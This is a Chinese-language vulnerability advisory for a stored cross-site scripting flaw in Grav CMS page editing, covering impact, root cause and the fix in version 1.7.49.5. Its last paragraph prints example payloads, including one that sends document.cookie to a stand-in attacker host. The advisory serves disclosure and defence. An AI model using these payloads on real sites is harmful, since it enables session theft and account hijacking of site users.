CVE-2025-66843CVE-2025-66843是Grav CMS中一个中危级别的存储型跨站脚本(Stored XSS)漏洞。Grav是一个基于PHP的现代化平面文件CMS系统,广泛用于构建各类网站。该漏洞存在于页面编辑功能中,攻击者可以利用此漏洞在服务器端存储恶意JavaScript代码。当其他用户访问或编辑受影响的页面时,恶意脚本会在其浏览器中执行,从而实现窃取会话Cookie、劫持用户账号、修改页面内容或进行钓鱼攻击等恶意操作。攻击的成功需要满足以下条件:攻击者必须是已认证用户,且拥有编辑内容的权限。由于payload存储在服务器端,所有访问受影响页面的用户都会受到攻击,这使得该漏洞的危害范围较大。建议受影响的Grav用户尽快升级到v1.7.49.5或更高版本以修复此安全问题。
该漏洞的根本原因在于Grav CMS的页面编辑功能对用户输入的过滤和转义不充分。攻击者以低权限认证用户身份登录系统后,在创建或编辑页面时,可以在标题、内容或元数据等可编辑字段中注入包含JavaScript代码的payload。由于系统未对这些字段进行严格的HTML实体编码或内容安全策略(CSP)验证,恶意脚本被直接存储在服务器的页面文件中。当其他用户访问该页面或通过管理后台编辑该页面时,浏览器会解析并执行存储的JavaScript代码。攻击者可以利用document.cookie获取用户的会话信息,通过XMLHttpRequest或fetch API将窃取的数据发送到外部服务器。由于Grav使用会话cookie进行身份验证,攻击者获取cookie后可劫持受害者账号,执行任意操作如修改内容、添加新用户或植入更多恶意代码。漏洞利用的关键在于绕过输入过滤机制,常见的payload形式包括:<img src=x onerror=alert(document.domain)>、<svg onload=fetch('https://attacker.com/?c='+document.cookie)>等。修复版本v1.7.49.5增加了输入验证和输出编码,确保用户输入在显示前被正确转义。